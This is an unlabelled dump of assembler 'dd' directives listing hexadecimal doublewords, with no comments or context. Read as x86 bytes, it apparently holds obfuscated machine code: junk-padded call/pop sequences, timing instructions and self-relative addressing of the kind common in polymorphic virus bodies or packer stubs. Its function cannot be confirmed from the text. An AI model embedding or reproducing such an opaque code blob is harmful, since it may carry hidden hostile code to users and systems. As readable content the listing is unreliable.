1B8C1903h dd 0AE9h, 0DCE5FA00h, 17F36104h, 838DAA94h, 0E7F8A5BDh dd 840F0007h, 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0E8C35646h, 2634B0FEh, 31FD36A0h, 0E40B8D95h dd 27E907h, 9D8B0000h, 7E4074Dh, 0D49FDF81h, 30502316h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 891FA1D1h, 0E42FF5B5h, 59BD0307h, 8307E42Ah dd 0E422B9BDh, 850F0307h, 487h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 59C35646h, 0E6A1A6h, 0AA80E781h dd 0BD8B7028h, 7E40DE5h, 0F8A5BD83h, 0F0007E7h, 44E84h dd 12E900h, 82370000h, 0F03D010Dh, 6BD4B504h, 1C6792D7h dd 0E3F30DB4h, 6ED5D3BFh, 0A5B5FF21h, 0FF07E7F8h, 0E4044D95h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD8BFFA1h, 7E4355Dh, 0F899B58Bh, 9D8B07E7h dd 7E41F49h, 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 2E3588C3h, 0A377C54Bh dd 66CDFB92h, 6650FB8Bh, 897CD2BBh, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E3A099C3h dd 0A5B5FF62h, 8A07E7F8h, 995FFFEh, 6A07E42Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0E98FC351h, 8B867521h, 99B58BFBh, 6A07E7F8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 9CA3C355h, 0EDAF7C43h, 0F57B6E2h, 688h, 0F9BD8B00h dd 5B07E41Eh, 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0FBD2D2C3h, 8B7FE00Dh dd 0E401A5BDh, 0C4868907h, 8B000000h, 0E433219Dh, 71958B07h dd 6A07E41Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 2CACC350h, 0C53B7881h, 0EDB531E7h dd 8307E40Dh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0DA2134C3h, 43D7A225h, 619D8BC9h dd 8907E41Ch, 95292050h, 7E40B51h, 0CD4858Dh, 6A07E8h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0AE40A4C3h, 0F1D9059Fh, 0FA49C36h, 683h, 0BD858900h dd 0E907E415h, 0Eh, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 9509CDD7h dd 7E403E1h, 0B88689h, 9E90000h, 28000000h, 28C2A3E7h dd 441502E5h, 0FFF8006Ah, 0E7F8A5B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 82B89136h, 89751DB8h, 0E4303595h, 0AD95FF07h, 0F07E431h dd 988h, 3890F00h, 66000000h, 0BB50DF8Bh, 3A4BBAAEh, 6A243489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0C010C355h, 0D99D8B2Ch, 0FF07E42Eh, 0E7F8A5B5h dd 119D3107h, 0FF07E40Ah, 0E41B1195h, 68E0F07h, 89000000h dd 0E41EF18Dh, 0F9BD8307h, 7E40Dh, 4E840Fh, 50960000h dd 50525052h, 5A310F52h, 60310F58h, 0F585A61h, 0F525031h dd 5A46B731h, 50585A58h, 0BE8h, 0C79F6000h, 3B922FCh, 0A4C20772h dd 13850Fh, 0DE80000h, 6D000000h, 0F72E69E4h, 97B38893h dd 439E6665h, 66965F5Fh, 2A0FD781h, 0F8A5B5FFh, 6A07E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0E6A774C3h, 27D95FFh, 820F07E4h, 0Eh, 3DB58960h, 0F07E416h dd 8Dh, 0B5FF6100h, 7E7F8A5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 4EC35343h, 0CF239854h, 6FE9D5DFh dd 1C8E0Fh, 830F0000h, 16h, 10E8h, 8AE67B00h, 0B99C4123h dd 0A2B32535h, 0EE7C74E5h, 0EF815B3Ah, 7C5EDA7Bh, 17F1BD8Bh dd 95FF07E4h, 7E40971h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 4AC35141h, 1B0E560Fh, 24481636h, 0AD25BB90h dd 0BD832863h, 7E40A21h, 47840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0EB1CC355h, 89F6500Dh, 0E425B5BDh, 0B5858B07h, 0F07E41Eh dd 282h, 0C6DD8A00h, 0BE90000h, 0B000000h, 572551D4h, 0EA2990CEh dd 85C74CA7h, 7E42671h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B1C35343h dd 4976EC99h, 0D634A074h, 0D1BD01A4h, 0E907E418h, 0FFFFF30Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h dd 0BD8B95CFh, 7E4249Dh, 10E9C18Bh, 1A000000h, 2015C6C1h dd 8FFB44FDh, 0B6536CAEh, 8DEA1E8Dh, 0E40D8585h, 8B669007h dd 0CE850DEh, 0BC000000h, 5FE6362Bh, 51BB75D4h, 0E964BC22h dd 14h, 0BB4128CEh, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h dd 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E91AB2C3h, 0Dh, 19EFF9AFh, 5F2C6250h, 87073DAh dd 6A006AD7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 4F83C350h, 10E93981h, 87000000h dd 3E622A3h, 93E2B8F1h, 4461CFC5h, 6ABD8D6Fh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 2FCDBE74h, 0E09B0A27h, 8166D93Dh, 8DFC06F3h, 0E8CB7D85h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0B3539721h, 2E4DCF81h, 852931FFh, 7E406F1h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 30ABC350h, 95895729h, 7E40091h dd 0FE95Fh, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h dd 0DE8B9055h, 9007B350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 8AC35747h, 0F4C015Ah, 0B70FDEB7h, 6A006AD9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 159D8B7Ah, 0FF07E418h, 0E4247195h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0F780D260h, 4B8D8DFAh, 0F07E7D6h, 80h, 7E900h, 0BEDF0000h dd 0A7B98E06h, 29D1FF55h, 0E41D4195h, 15BD8307h, 107E420h dd 8E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0F00C9C3h, 388h, 0FABF0F00h, 0E860Fh dd 9E90000h, 48000000h, 0ABB0DB52h, 82C006A8h, 0BF60026Ah dd 2BBB59D5h, 0D74FBB66h, 0BB669061h, 0BB5081DDh, 1E0812Fh dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 89ED109Bh, 0E419D9BDh, 6E907h, 952B0000h dd 4CE56A84h, 31AD95FFh, 8D8907E4h, 7E41BB5h, 0E55E9h dd 0E800h, 815D0000h, 0E8CB87EDh, 81BF6607h, 55006ACFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0C25243Bh, 5CBA9A35h, 18798D89h, 858D07E4h, 7E7C6E1h dd 8B666050h, 48961C3h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0E1E74670h, 0FB8BC13Eh dd 12E9h, 371E9000h, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h dd 6435038Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 81B50AC3h, 7C9806D3h dd 25896466h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 21C35141h dd 57875F4Fh, 35593300h, 0B985FFC5h, 6A07E420h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 27BCC351h, 0C3EBCA71h, 0AA99C772h, 25459D8Bh, 0FF6A07E4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4CC35141h dd 942BCAB1h, 6C7274BFh, 81B5FF40h, 6A07E415h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F5A6C356h, 304D95FFh, 1EE907E4h, 0F000001h, 58Ah, 0E3816600h dd 0B04067h, 14D58529h, 70E607E4h, 7C80BB50h, 0E45F5F33h dd 85896071h, 7E42341h, 295537BBh, 613C6143h, 0EB830Fh dd 0EF810000h, 5843C16Ah, 0B3C8B60Fh, 6BA77h, 8BFC0000h dd 0FEB70FC1h, 0E804E8C1h, 8, 0BE740B3h, 9E363387h, 80E3805Fh dd 0E8E2F766h, 13h, 4A5490E3h, 0AACAD6A2h, 21366CE3h, 0BFE5AF44h dd 0E8C70BA7h, 0Ah, 3EBC7C42h, 8D0AE9F6h, 9D89FD2Ah, 7E416A9h dd 0C82B5B5Bh, 6653D18Bh, 5F5276BFh, 7298531h, 0BE907E4h dd 0F000000h, 586h, 8133BB00h, 858B0730h, 7E40F29h, 0C083FB8Bh dd 0C5BD8907h, 8307E402h, 958900C0h, 7E41C7Dh, 830FD03Bh dd 18h, 4D99D8Bh, 42E907E4h, 66000000h, 8B60DA8Bh, 0E4029D95h dd 61585307h, 6FD8D8Bh, 0BF0F07E4h, 58D89FAh, 8307E415h dd 840F01E1h, 1Dh, 0E599589h, 0A58307E4h, 7E406FDh, 89FA8BFEh dd 0E40F2995h, 0FB8BFC07h, 0E9h, 29B58D00h, 6A07E84Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 7B51C357h, 5EABAE94h, 61BD8B17h, 6A07E40Bh dd 5D9D8B00h, 0FF07E41Ah, 0E40E4195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B6927433h, 1930BB0Eh, 26918D89h, 48B907E4h, 0E9000008h dd 13h, 0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h, 8309980Ah dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 5E85FBC3h, 0BF0F0589h, 6AFCFAh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3AA8EFC3h dd 1C084F94h, 4DB8166h, 0B870F16h, 60000000h, 8BD0BF0Fh dd 0E40679BDh, 0B86107h, 8B000000h, 0E40E459Dh, 0BA07h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0CA225FC3h, 31B322FEh, 0CF80DC36h, 0DE8B565Fh dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8B486C7Dh, 0E407C9BDh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 3F315ADAh dd 2DBD0B45h, 0D07E402h, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E5C35040h, 86E82363h, 7C2D4B36h dd 0DE8B6611h, 1B71958Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 8DFA4DC3h, 2DA18D8Bh dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0A347BAC3h, 0F128D62h, 188Ch, 10E800h, 0FA740000h dd 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 0DE8B3E3Fh, 0DA8B665Bh dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 800F5818h dd 30h, 13E8h, 2C285300h, 0FB3DFA5Dh, 8D140AE6h, 25F004h dd 0B9053FF1h, 12E9h, 16FAEC00h, 7A28C1A4h, 39D00D6Bh dd 81CBFB10h, 5B2FD59Dh, 0DE59D8Bh, 0DA8B07E4h, 611BD83h dd 0F0007E4h, 6084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 0B897668Ch, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DDC35343h dd 0BF68488Ah, 69AC6773h, 4FE78D8Dh, 316007E4h, 0E423C5B5h dd 0C68B6607h, 89E1FF61h, 0E4024595h, 0B9BD8307h, 7E422h dd 4DC840Fh, 860F0000h, 13h, 0EE9h, 0FDC48500h, 0FC05A880h dd 3AD4DEF8h, 83D3E718h, 0E422B9BDh, 840F0107h, 4D1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8BC35343h, 2D59BD8Bh dd 0BF5607E4h, 6A431FA7h, 0B9BD835Bh, 307E422h, 465860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0FA464DC3h, 94660BC8h, 68D0Fh, 0BD090000h dd 7E41F21h, 3D9D0B60h, 0E907E406h, 8, 83D1E884h, 8B2CCE7Bh dd 89D98C66h, 0E41FE995h, 4E18007h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 87C35646h, 0FAAEB506h, 81669360h dd 89F1A5EBh, 0E429CDB5h, 0FC90A07h, 15084h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 664BE240h, 0BF0FDA8Bh, 51858BFBh, 6A07E406h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 330CC355h, 0E4202985h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89E60869h dd 0E429D585h, 0BF665007h, 489CF5Bh, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A885B517h dd 0F85C6390h, 998529BEh, 2B07E42Bh, 0E43141BDh, 0E8006A07h dd 5, 0BD8C3BD1h, 6557BFFFh, 0E85F626Bh, 4, 1F03FFh, 638AECBFh dd 8B665076h, 24448BF9h, 0D88B6604h, 0BF66008Bh, 4489E628h dd 0F88B0424h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 3B728F0Fh, 15AA6C17h dd 95FF2A5Ch, 7E42D99h, 68F0Fh, 0F3810000h, 5DA74552h dd 0F8A58589h, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B58994C3h, 7E41AB5h, 0F59B589h dd 3FE907E4h, 8B000002h, 0E43031BDh, 9D858B07h, 6A07E7F8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0E542C351h, 7DA2DBD4h, 0F04BF8Ch, 0C87h dd 6820F00h, 8B000000h, 0E4200DBDh, 1800C707h, 89000000h dd 0E42431B5h, 0A1B58B07h, 6A07E7F8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0AADBC356h dd 0F52C000Ah, 8A8FCC74h, 99858BD9h, 6A07E400h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F8BCC353h, 23319589h, 68907E4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 1BC35747h, 0D0C1FC3Ch, 651858Bh dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 888AC3h, 0CDDCBC3Ah, 0D98B66F5h, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 4D4FC352h, 6E8h, 0FAB90B00h, 0F5AD351h, 0B82h dd 6E900h, 3B070000h, 0CBAEAAAh, 859D335Fh, 9607E430h dd 9E82BF66h, 66525050h, 0F73DBBFh, 5AF6B331h, 6A9658h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0E4A40BC3h, 147A6346h, 18D0Fh, 0FFF80000h, 0E7F89DB5h dd 0DD9D8B07h, 6807E414h, 706BB556h, 11E8h, 0A50BDD00h dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 8B66B63Fh, 34815FF9h dd 74B6A924h, 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 70C56A64h, 8B7A964Ah, 0E40509BDh dd 0A5858D07h, 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 8DA1C356h, 0EF406B4Fh dd 53507446h, 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h dd 6951D095h, 5B5F5331h, 2404895Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E1C35141h, 12AD8D89h, 95FF07E4h dd 7E42D99h, 325D8D89h, 16107E4h, 0E406F185h, 0B985C707h dd 307E422h, 66000000h, 0FC472BBh, 0BD83D9BFh, 7E7F8A5h dd 34840F00h, 31000000h, 0E405458Dh, 44E907h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0EB1DFEC3h, 0B144830Ch, 35BD29D2h, 5007E418h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 9D89C08Bh dd 7E41CB9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0B4C35343h, 0BD839BB3h, 7E422B9h, 0B4850F03h, 6A000003h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0F0FAC350h, 9E96369Bh, 0BE96033h, 0B6000000h dd 326E97Ah, 0B93A57B1h, 8B6623ABh, 0BD8361C6h, 7E7F8A5h dd 70840F00h, 60000003h, 22EBD1BFh, 0C18B663Ah, 0A5B5FF61h dd 0E907E7F8h, 0Bh, 0CC923AB6h, 3F3071EDh, 0FF6A830Ah dd 0E4044D95h, 51BBF07h, 0B58B0383h, 7E7F899h, 0BBBCEF81h dd 6C74912h, 10001h, 1E65BD8Bh, 0E85007E4h, 5, 7D4E7B03h dd 8ABF6680h, 34895B62h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 7C814869h, 689EBD65h dd 8D8960A8h, 7E40A79h, 1409858Bh, 0FF6107E4h, 0E7F8A5B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0BF770F51h, 1D844A5Ah, 2099BD8Bh, 95FF07E4h dd 7E42A09h, 2701BD8Bh, 0B58B07E4h, 7E7F899h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B3C35545h, 48BAEEFCh dd 8BB3D138h, 65858BDAh, 0F07E431h, 8689FAB7h, 0C4h, 80D3EB80h dd 958B8AF7h, 7E41B71h, 5E9h, 41A50900h, 0C2838C0Eh, 0ED51BF04h dd 508930ADh, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0C7CE248Eh, 0A3F34D25h, 2F05B529h dd 858D07E4h, 7E80CD4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0D7C35343h, 29F58D09h, 868907E4h, 0B8h dd 10840Fh, 0BE90000h, 44000000h, 55199A0Ah, 6EDB60B2h dd 6A2829h, 0A5B5FFFCh, 5307E7F8h, 5FD98B66h, 31AD95FFh dd 0BD8B07E4h, 7E409F1h, 70BB6650h, 24348944h, 12E8h, 88D47400h dd 5D5B743Ah, 4FD093DFh, 4154294h, 0E879CD38h, 11h, 5723E0C1h dd 0C8944DACh, 0B3C8F215h, 0F5D2FC57h, 9E93Ah, 0D6BC0000h dd 6BFB707Ch, 5FE1362Ch, 0CE95Fh, 0B8930000h, 0A1F0C024h dd 87602E08h, 0B5FF3A0Eh, 7E7F8A5h, 0DE9h, 5C339500h, 0FF42A668h dd 0B64D66D2h, 95FF37D7h, 7E41B11h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h dd 1Dh, 0EAC35141h, 0F1680D93h, 5F0ED217h, 2820F4Ch, 8B000000h dd 0D18D31D8h, 8307E431h, 0E40DF9BDh, 840F0007h, 3Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 26C35646h, 5949258Bh dd 0E8213973h, 0Bh, 1ED6DEEAh, 7222373Dh, 0FC4D3630h, 0DA8B505Bh dd 0FF243489h, 0E7F8A5B5h, 0F5BD0307h, 0FF07E421h, 0E4027D95h dd 65B52907h, 907E400h, 0E40AD18Dh, 0A5B5FF07h, 6A07E7F8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 4581C356h, 3572B953h, 0A465D20h, 8AFB8B66h dd 7195FFD8h, 8307E409h, 0E40A21BDh, 840F0207h, 4Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FBC35040h, 930BC392h dd 919D295Ch, 5707E430h, 9565BB66h, 0B5858B5Fh, 0F07E41Eh dd 0C6DFB7h, 8870F00h, 56000000h, 15D9BD8Bh, 805B07E4h dd 85C7B5F3h, 7E42671h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 73C35545h dd 0BE3693A5h, 519D8B9Fh, 0E907E403h, 0FFFFF2BAh, 80C18BF5h dd 858D78F3h, 7E40D85h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 68C35040h, 8950BC58h, 6A2404h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 52A0A2C3h, 6E473FA3h, 0DE8C5DDh, 6E000000h, 3D968738h dd 0FDCBA7FFh, 8020220Dh, 6A5FF5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 2CC35040h, 254EB3F1h, 0A8C0BB66h dd 8E9h, 1E254E00h, 14573BB2h, 6A006A98h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0C0BEC355h dd 6A81AE0Ah, 858D7970h, 7E8DC2Ah, 22B58D89h, 0C08307E4h dd 11E99005h, 0C9000000h, 5048C203h, 71CB0BFBh, 8A95C9A6h dd 1A2960B0h, 95899050h, 7E418A9h, 13E9h, 0E678A600h, 0EEABDE39h dd 19ED44EFh, 572F3DC6h, 260F9A18h, 0AE8006Ah, 0FC000000h dd 0C73F2308h, 599EBC5Ch, 2D9D89EAh, 5F07E41Bh, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0F4BF07C3h, 0FF55738Ah, 0E4247195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 4B8D8DD2h, 0F07E7D6h, 0BD8BF8B7h, 7E42E11h, 6AD1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 618283C3h, 2015BD83h, 0F0107E4h, 0BC85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0EE95C28h, 0AF000000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh dd 6A026ABBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 3A42C357h, 0FF898C6h, 2CBFFABFh dd 50713310h, 58C0F60h, 0B8000000h, 344CE007h, 24048961h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E2C35545h dd 0DD76680Ch, 0AD95019Dh, 0FF07E419h, 0E431AD95h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0E3508015h, 8BDA82D2h, 0DDFE9D9h, 0E80000h, 5D000000h dd 0DC34ED81h, 0EE907E8h, 65000000h, 0C1251358h, 63A0195Fh dd 0DADFCE2Ch, 0D99D8BF3h, 8D07E423h, 0E7C6E185h, 6650F907h dd 89C6D2BBh, 0E6BB2404h, 647ED838h, 35FFh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD8BACC3h, 7E42409h, 258964h, 0F000000h, 68Ah, 15BD8B00h dd 0FF07E421h, 0E420B985h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BD8919B1h dd 7E42D11h, 0FE8h, 19D9500h, 0A85FCA2Dh, 17B4CCAh, 0A9A09F63h dd 6860Fh, 8F0F0000h, 0 dd 6AFF6A5Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0AA31C357h, 8B66CCF8h, 4880FDEh dd 66000000h, 0FF1FBBBFh, 0E41E15B5h, 858D8907h, 8907E421h dd 0E42021B5h, 4D95FF07h, 0E907E430h, 0DEh, 7DB300B0h dd 9D8B70E6h, 7E423C9h, 10E971E4h, 33000000h, 2187991Ah dd 3DDBA52Bh, 0DDAF2CD2h, 3C9A4A1Ch, 0B3830F61h, 66000000h dd 0F89B5BBh, 0B589C8B6h, 7E40139h, 6BAh, 0CBBF6600h, 0E9C18B93h dd 10h, 3E19F5ABh, 0E5D2CC49h, 4910B764h, 0EE55C9Eh, 8904E8C1h dd 0E4230995h, 0E2F76607h, 1AD5B501h, 0C82B07E4h, 2B68B0BFh dd 66D18B00h, 75A2E381h, 0FF37BB66h, 9E9h, 3870F00h, 66000000h dd 858BF98Bh, 7E403F1h, 5AD9D8Bh, 0C08307E4h, 85BD8B07h dd 8307E427h, 0D03B00C0h, 9830Fh, 5B500000h, 2DE9h, 8B29B300h dd 0E405558Dh, 1E18307h, 1C840Fh, 9D890000h, 7E40B89h dd 555A583h, 66FE07E4h, 899EAABFh, 0E403F195h, 0E907h dd 0B58D0000h, 7E856A0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0C2C35747h, 8F0F006Ah, 6, 18C59D8Bh dd 95FF07E4h, 7E40E41h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 5BC35242h, 510FDB1Fh, 0BDB9EF2Eh, 6A000007h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 8D3EC355h, 85B01516h, 96682C65h, 0FFCE183h dd 0F9FCFEBFh, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B9B0CE3h, 0E41CD99Dh dd 0BA07h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0DF2CE2C3h, 0E38166A8h, 0BB66C607h dd 0BF66D0B4h, 33ADAE5Eh, 3E8D1C2h, 4E983D0h, 850FF475h dd 5, 0BE85C5BBh, 7E95Fh, 2ECA0000h, 15BC6912h, 51006ADEh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0E753CBDDh, 16C7A964h, 0B185892Fh, 0D07E418h, 88h, 0E380DA8Ah dd 71958B8Ah, 8B07E41Bh, 0E41EC1BDh, 0A18D8B07h, 6A07E42Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 94CEC352h, 8B6658F3h, 0C28B50F8h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0E41495BDh, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0CBCEE0F6h, 611BD83h, 0F0007E4h, 6884h, 6FD78100h, 0B874CEF1h dd 0 dd 0E29B509h, 8D8D07E4h, 7E44FE7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 96C35545h, 0BB66324Eh, 8F0F32D4h dd 6, 2D11BD8Bh, 0E1FF07E4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 37C35242h, 0CF444D8h, 0B9BD83DAh dd 7E422h, 498840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 63BF41C3h, 0F88B6A3Dh dd 22B9BD83h, 0F0107E4h, 48484h, 8D853100h, 8307E430h dd 0E422B9BDh, 860F0307h, 43Bh, 0BD8B60FCh, 7E42C41h, 0FD98C66h 